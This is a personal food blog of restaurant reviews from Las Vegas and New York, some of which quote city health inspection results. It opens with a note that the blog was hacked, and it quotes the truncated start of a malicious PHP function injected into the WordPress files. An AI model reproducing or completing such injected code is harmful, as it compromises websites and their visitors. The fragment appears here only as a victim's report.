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There was also a function within almost every PHP file within wordpress. It looked like this…

<?php if(!function_exists(’tmp_lkojfghx’)){for($i=1;$i<100;$i++)if(is_file($f=’/tmp/m’.$i))….

All the code was wiped and I upgraded wordpress along with the new site theme. Has anyone else had this issue? I googled the problem and a bunch of sites came up with a similiar issue of being hacked.

I shall be back with plenty of new posts! Please let me know of what you think of this new theme and any suggestions! Thanks!

-Finechinagirl

Ahhh Vegas. This is the place where dreams are made of. I’ve always thought Vegas as a sinful city with prostitutes and drug dealers on every block, like how it was portrayed in movies back in the days, but now that’s not the case. Now there are lots of families going here to sightsee, visit museums, watch shows like Cirque du Soleil, or even go on the Manhattan Express rollercoaster at New York New York hotel. Here there is something for everyone, and for me it’s all about food and entertainment. But for this blog’s purpose, I’m going to post every place that I’ve been to so that one day I can look back and be marveled by the places that I have been.

On a side note, I just love McCarran International Airport. Besides it being so massive and decorative, there are slot machines everywhere! I know, I’m easily amused, but I would like to share that.

The MGM Grand is definitely grand and magnificent, especially at night. Of course I stayed here and decided that my first meal would be at the buffets, since I hear good things about the buffets in Vegas. After a long walk from my hotel to the MGM Buffet, I see a long line by the register and then another short line with VIP members only. VIP essentially mean people who has bought the visiticket meal pass. Although I’m not sure if the MGM Grand Buffet is participating at this time, but they did when I was there.

MGM Grand Buffet

My partner and I paid $30/person for dinner here. On their website they’ll say that average check is $20/person but that’s definitely not the case especially for dinner. So expect to pay a little more.

Alright, let me try to break it down as much as a can.

- There’s a huge salad bar which you can see on the first picture. Many varieties of greens, dressing, and just about everything your heart desire.
- A section where honey glazed ham, turkey, and chicken is carved and served to you. Next to it are trays of buttery corn, not kernels, broccoli and other steamed veggies.
- A grill section where steak is prepared and cooked
- A mexican section where tacos and burritos are readily available for you to build
- And three more other rows of trays serving more mexican and american fast food.
- A section of desserts, cheesecakes, pies, various cakes, cookies, and lots of other pastries.

I was sooo hungry when I came here. Our waitress, Linda immediately asked us what my partner and I wanted to drink and got it to us right away. There’s a little menu on the table that lists all the wines and cocktails that they have there, which was pretty neat because I’ve never been to a buffet where wine and cocktails were served.

Honestly the food here was okay. This isn’t gourmet food of course, but it’s not too bad. I wish there were more cuisine selections like Japanese or Chinese, but this is fine. Definitely, not a bad way to start the night here.

Joe’s Shanghai
24 W 56th St
(near 5th Ave)
New York, NY 10019
(212) 333-3868

After a nice massage at the Townhouse Spa with my mother, across the street we saw Joe’s Shanghai. My mother recognizes this restaurant since there are two locations in Chinatown – the one on Mott and the other on Pell. Instead of going to Benihana, which was down the block, we decided to go to Joe’s since we were freezing our asses due to the nasty cold face ripping winds and the ten degree temperature.

We sighed with warm relief as we entered the restaurant. It was brutal out there. But we were disappointed with so little people eating in the restaurant.No one greeted us by the door and we decided that they wouldn’t mind that we picked our own table. The waitress was at the bar reading the newspaper, one of the waiters was chirping away on his Nextel mobile phone, and the later out comes a waiter who came to us and told us to sit on the table with two chairs, instead of the four chair table that we were at. Alright, fine that’s alright with us. But considering that there were only 4 other people there…ok, fine.

The waiter gave us the menus and a pot of warm tea that my mother and I were desperate to drink.We decided to order their signature crab pork buns/soup dumplings that we loved so much from the Chinatown one. We also ordered the shanghai noodles and vegetables.

When we ordered, the Chinese waiter spoke to us in English which was ok, awkward, to us because we’re used to speaking in Chinese to the waiters because we did that at in Chinatown. No biggie. After that was said and done, we received or utensils and I noticed how dirty the forks were. My god it was dirty. The fork was very smudgy. Maybe it just needed one more cleaning or a nice polishing. Yeesh…if it’s not cleaner than the chinatown ones, oh god help us all.

I didn’t expect this kind of cleanliness at the midtown restaurant, but now I’m not going with any kind of expectation. I told my mom this and she didn’t seem to care and told me to use the chopsticks. I’m fine with that, just surprised. Yes…

Out comes our soup dumplings.

After being so turned off by the fork and eventually the plate, I had no expectations for this. Surprisingly the dumpling turned out to be pretty good. The soup was exactly how I remembered it to be, the skin wasn’t too doughy and the pork with hints of crab meat is very juicy. My mom bit a piece of shell, she claims that it’s sand, but whichever. She didn’t like it too much, but it was fine by me. A round of these babies would cost you about $9 for 6 pieces. That’s pretty expensive because the Chinatown ones give you 8 pieces and it’s about $7 too. What a rip.

Recommended if you’re around the neighborhood. If not, go to the chinatown one, please.

Shanghai Noodles:

This is by far the saltiest dish I have ever eaten in my life. I know shanghai noodles are salty, but this dish has surpassed that. The noodles are pretty doughy and every bite has a burst of salt and soy sauce in my mouth. My mom agreed and we just couldn’t finish it.

Nappa w/dried baby shrimp

I forgot exactly what it was called on the menu, but my mom did not expect this. She says this dish is supposed to have abalone with bok choy, but apparently not. The nappa was covered in a nice sauce, probably with soy sauce chicken broth and a little bit of flour to make it thicker. This didn’t taste too bad, but I wouldn’t order this again because it cost $12 for something I can definitely make at home. Again, what a rip-off.

I would never come back here again. This by far is the worst restaurant of Joe’s Shanghai. There’s a reason why it’s so empty here. The utensils were dirty, the staff lacked motivation, and it felt so lifeless here. There was no music, nothing. How this restaurant stays open for business is completely beyond me.

Alright, I did a little homework on the cleanliness on this joint and this is what the NYC Dept of Health and Mental Hygiene posted on their website:

JOE’S SHANGHAI RESTAURANT
24 WEST 56 STREET, MANHATTAN 10019
212-333-3868

Violation points: 26/28 (barely passed)

Inspection Date: 05/14/2007

Violations were cited in the following area(s) and those requiring immediate action were addressed.

Sanitary Violations
1.) Non-food contact surface improperly constructed. Unacceptable material used. Non-food contact surface or equipment improperly maintained.
2.) Sanitized equipment or utensil, including in-use food dispensing utensil, improperly used or stored.
3.) Food not protected from potential source of contamination during storage, preparation, transportation, display or service.
4.) Cold food held above 41°F (smoked fish above 38°F) except during necessary preparation.

JOE’S SHANGHAI RESTAURANT
24 WEST 56 STREET, MANHATTAN 10019
212-333-3868

Inspection Date: 03/28/2007
Violation points: 35 - Failed

Violations were cited in the following area(s) and those requiring immediate action were addressed.
Sanitary Violations
1.) Canned food product observed severely dented.
2.) Food not protected from potential source of contamination during storage, preparation, transportation, display or service.
3.) Hand washing facility not provided in or near food preparation area and toilet room. Hot and cold running water at adequate pressure not provided at facility. Soap and an acceptable hand-drying device not provided.
4.) Evidence of roaches or live roaches present in facility’s food and/or non-food areas.
5.) Food Protection Certificate not held by supervisor of food operations.

Thank you for your continual support on my site.  I’m actually surprised that I made it to my second year and I hope that there will be many years to come.   I have had my shares of ups and downs, but I definitely do not want that to get in my way of the purpose of this site.

I do want to reach my goal of logging every food and restaurant that I have been to or eaten so just so one day in the distant future, I can look back and see where I have gone, what I have eaten, and how my writing has grown.  This site is still very young, but there is a lot to grow.

I’ve been completely behind on my posts due to work and time away from home.  This year, I will try to contribute as much as I possibly can.

Thanks!

- Finechinagirl

(Okay, so I don’t have a picture of the exterior of the restaurant, but this napkin is proof enough that I was there!)

For my coworker’s birthday, a few of us decided to take her out on a nice lunch at Marker’s. That and it’s the closest restaurant from our work since we only had under an hour to eat.

On that cool October afternoon, we decided to stay in to shield ourselves from the strong winds outside. The restaurant had a strong delicious aroma that probably smelled like burgers and fries. Did I mention that the restaurant was engulfed by smoke?

To start things off, most of us had warm teas to warm our hands and bodies so that we can relax and chat. Terrific. There seem to be a lot of people in business suits in here, which wasn’t surprising. Most of the guys were drinking beer which I thought was fantastic because they can be a little bit buzzed for work; or does that just apply to me?

After about 10 minutes, we decided to order our food.

Buffalo Chicken Wrap
Price: $10.99

The birthday girl loved this wrap. It’s definitely a change from the wraps at the cafeteria at work. She tells me that the buff chic is a lot more spicier and fresh here. She loved it.

Buffalo Chicken Salad
Price: $11.99

Leena comes here time after time for this savory salad. Once in a while, we do that this at work, but it’s just not quite the same, as with the wrap above.

Chicken Tenders w/Fries
Price: $11.99

Again, I didn’t have this dish, but my coworker was pretty happy with this dish. She says the skin is nice and crispy just as it should, and the meat is pretty moist.

8 oz Kobe Beef Burger w/Fries
Price: $13.99

Finally a dish that I can talk about!! I shared this incredible burger with Florinda, and believe me it was enough for two people. Never had I had a burger juicy, soft, and moist! It definitely goes well with the cheddar cheese, onion ring, tomato, and lettuce! Flo and I put a little bit of ketchup for added taste because the meat can still be a little bland. But otherwise, it’s a great burger to feast on.

Molten Chocolate Cake
Price: $6.95

To finish off a satisfying meal, we all shared this delicious dark chocolate cake. Inside was filled with melted dark chocolate truffle, which blew our minds away when we had our first bite. It was so warm and subtly sweet and when combined with the whip cream, it was an absolute orgiastic experience in our mouths. It was that damn good.

*There’s also a downtown location in the East Village. Inquire to find out.*

If you’re hankering for meat and have absolute no time for etiquette and grace, Awash is the place for you. With class and elegance in the inside, picture shown below, here you can eat with your bare hands without having people staring.

This is the first time that I’ve ever been to an Ethiopian restaurant so this is all new to me. I’ve never really dine eating with my hands, besides a burger joint or something similar, but I was totally excited to do so.

The bf’s best friend and his wife totally love this place. When they make a trip to the city from Philly or Westchester, they always always come here. They loved the food and the honey wine so much that they of course wanted us to try it too. So after a long saturday day of unsuccessfully getting tickets to the Broadway play of our choice, my bf and I had no problem going uptown for some good eats.

When we finally arrived to the restaurant, I couldn’t help but notice a strong, strong, spicy aroma in the air. Hmmmm…… ahhhh. My starving stomach couldn’t resist the thick cajun aroma. If you’re not a fan of spice, then this isn’t the place for you. But be warn that there might be a wait at the door after 7:30 pm because this restaurant is quite small.

After ordering some wines, we quickly asked for appetizers.

To start things off, we ordered a meat sambusa ($7.50) and a vegetable sambusa ($7.00). Each dish comes with only 3 rolls. A sambusa is basically like a gigantic spring roll. Both look the same, except the contents inside are different. The vegetable sambusa has spiced veggies which includes Chinese Chives! Yeah, chinese chives in an Ethiopian restaurant. I am such a biggg fan of chives! I love it to death. It being spiced up and wrapped in a warm golden brown crust definitely makes it enjoyable!

Each bite is more satisfying than the next. But wait until you’ve tried the meat version. It is even better! The meat inside is moist and tender and spiced!! Delicious!! I can definitely eat a million of these!

Entrees

We all agreed to get the Meat combo and the Awash Special, $17 each . Besides it being more bang for your buck, you get to choose a variety of meats to try. A combo is more than enough to feed for two. It comes in a huge plate with this sponge-like bread underneath with all the meats and veggies on top. Being that we were all starving, we ordered two combos. It should be more than enough.

The way you eat it is, you get a roll of this sponge-like bread and you unravel this roll by breaking off pieces. You then take that piece, put it on top of the meat that you want to eat, grab it and stuff it in your mouth. Just be warned that you may need extra napkins. It does get a little messy.

I’m not a fan of this bread because it’s sour, like sourdough bread. Hey give me a bowl of rice any day and I will gladly chug down all the meat. But besides that complaint, I really enjoyed the beef, lamb, and chicken a lot. There’s a bean dip, some curry, turnips, and chives on the side for you to choose.

Overall I really love the food here. The waitresses and waiters are very courteous even though they were incredible busy. My bf’s friend and his wife made a great recommendation and we loved it and will try the East village one one day!

Alright, now I leave you with the city’s health inspection report!

AWASH RESTAURANT
947 AMSTERDAM AVENUE, MANHATTAN 10025
212-961-1416

Violation points: 7/28 - Passed!
Inspection Date: 02/01/2007

Violations were cited in the following area(s) and those requiring immediate action were addressed.

Sanitary Violations
1.) Evidence of roaches or live roaches present in facility’s food and/or non-food areas.

Traditional chinese food can definitely be found here. Like most chinese restaurant, East Manor in Kissena Blvd specialize in seafood and lots of it! I’m not a fan of it, but I always appreciate the presentation of the dish and how carefully it has been prepared.

I came here with my family to celebrate the owner’s one month anniversary for his newborn child. Of course he orders an abundant amount of dishes, which is symbolic of luck, happiness, health, wealth, and prosperity for each table. I’m sure some of these dishes will look familiar to you.

At a first glance, this looks like raw fish and I really don’t know any better. Luckily, my friend Becky tells me that it is in fact geoduck. You may ask, what the hell is geoduck? Well, it’s the king of all clams, and it has a long neck about 15+ cm that stretches out. Click on wiki for further details. Thanks Becks! =)

But yeah, my brother tells me that this geo tastes really bad, but the rest of my family members finished all of it.

My family completely devour all the food. The only thing that I enjoyed was the roasted baby pork, but the presentation of almost all the dishes were absolutely fantastic!

I do have to come back here to try their buffet. I’ve been to the Main Street one so I’m pretty sure that it should be similar to that. Too bad the Main St restaurant does not come close to the one in Elmhurst, which is owned by another person. But this place is a must visit. Flushing is the place to scour for authentic chinese food.

I leave you with the city’s health inspection results:

EAST MANOR RESTAURANT
46-45 KISSENA BOULEVARD, QUEENS 11355
718-888-8998

Violation points: 9/28

Inspection Date: 10/02/2007

Violations were cited in the following area(s) and those requiring immediate action were addressed.

Sanitary Violations
1.) Non-food contact surface improperly constructed. Unacceptable material used. Non-food contact surface or equipment improperly maintained.
2.) Food worker does not use proper utensil to eliminate bare hand contact with food that will not receive adequate additional heat treatment.

Looking for a special birthday cake is always a fun treat for me. I knew that I wanted to get my friend something different, so I thought, hey, why not a sweet German Chocolate cake? I figured years after years of eating fruit and ice cream cake has got to be enough.

I had a taste of this cake in the office when celebrating a coworker’s birthday, and I love it. My coworker recommended me this little bakery in Chelsea called Amy’s Bread and I was even more gungho on getting it. I did some research to see what people thought about this bakery and people seem to love it! Well, more especially with their breads…

Apparently there are 3 locations of this bakery, and this location manufactures all the bread.

When I finally arrived, I didn’t see one cake in site. Maybe because it was 7pm at the time and all the cakes are stored away, I don’t know. But there were plenty of bread around that people were more than happy enough to buy.

You must call ahead to order a cake. Or you can go there and fill out an order form like I did.

For this 9 incher, it’s about $45 and you get it in two days. I figure that was enough to feed 15 people.

So come time to open this sucker up. Boy was it dense and heavy! The cake was what I expected, subtly sweet with a burst of soft and creaminess in the mouth. I didn’t expect all the coconut shavings, but it went pretty well.

After walking past here a million times to meet up with the bf, I finally got the balls to go into this exclusive rich man’s supermarket. Only because that day, the bf asked me to wait for like 15+ minutes because he has some work that he needs to finish up. Anyways, I figure that I needed to cast away my fears and just go in. I have absolutely nothing to lose and I would be using my time efficiently.

Inside, everything look so classy and elegant just as I have expected.

After walking around the joint, I found heaven.

There was a baked goods section with a ton of pies on sale! Yeah! Even when it’s on sale, it’s still expensive. $12.99 for a pie; original price $14.99. That’s entirely perverse. In my mind, I figured if it cost that much, it must be the best tasting pie in the world. It’s got to be!

Mmm, $13 pie.

Verdict: This pie lives up to my expectation. This is good shiet. The apples inside aren’t overly sweet, like the McDonalds’ ones, and the crumb crust is absolutely delicious. It’s nice and crunchy and it compliments with the pie nicely. After an hour, the pie was gone. That’s how good this pie is.

You only live once. Why not spurge once in a while and try an expensive pie?

Yesssss.

Masu Masu Asian Fusion Restaurant
1116 Avenue U
btw 12th St & Coney Island Ave
Brooklyn, NY 11223

Avenue U, aka little Chinatown, is filled beyond filled with boring restaurants. If you live in this neighborhood like I do, you’ll know that the foods here aren’t the best. They taste what they’re supposed to taste like, but there’s just no creativity or love at all.

With a lot of Japanese sushi bars popping up all over the neighborhood, it seems like none of them can be distinguished. What happened to specialty rolls? What happened to creativity and love for food?

Well, Masa Masa is the answer to my prayers.

This is the only restaurant on avenue U, the gravesend neck road area, that tries to be hip and trendy. Most restaurants that you’ll see here don’t really try that hard to impress people with decor. I can understand because people here are simple and they don’t have the time to pay attention to those little details. Service and food is most important to the restaurant owners here. While that’s great, I think it’s time to get with the times.

I came here with the boyfriend after a morning run, and we were craving for dumplings. I am a huge dumpling fan and will almost eat any kind of dumpling as you will see in my prior and future posts.

Pork Dumpling

Never have I seen a dumpling that has such a thin, transparent-like skin. Dip this baby into the accompany soy sauce and your mouth will scream like it’s in heaven. I do have to admit that I was pretty excited because of the way it looked. Look how cute it looks! Unlike the ones that have thick skin and are incredibly doughy, this one doesn’t make you feel as guilty eating it. I really enjoyed this appetizer and absolutely craved some more. The pork is moist and tender and accompanied well with the lightly pan fried dumpling. I swear, you can pop a million of these in your mouth and still crave for me.

My rating: 4/5
Recommended!

Specialty Roll:

It’s been a while since I’ve eaten here and the name of this roll slips my mind. It contains medium well salmon, avocado, cucumbers, seasoned with sesame.

Price: $11.50

This roll is absolutely fantastic. The presentation alone is worth the price, especially in this neighborhood. I like the fact that the salmon is not completely raw, so it gives it a semi-rough texture which I truly love.

Highly recommended!
Rating: 4/5
If you want to order this roll, why don’t you print the picture and show it to the waiter/waitress? haha

California Roll
Price: $4.50

I will always love the Cali roll when it’s done right. I hate it when sushi makers skimp out on my dam rice. I probably said this a million times, but it’s true! I love the presentation and the size. The rice was not too hard, which is the way I like it.

My rating: 4/5
Recommended!

Salmon Roll
Price: $4.50

With a roll done right like this, what can go wrong? It’s a classic.

When you stop by the neighborhood, be sure to pay a visit. You won’t regret it!

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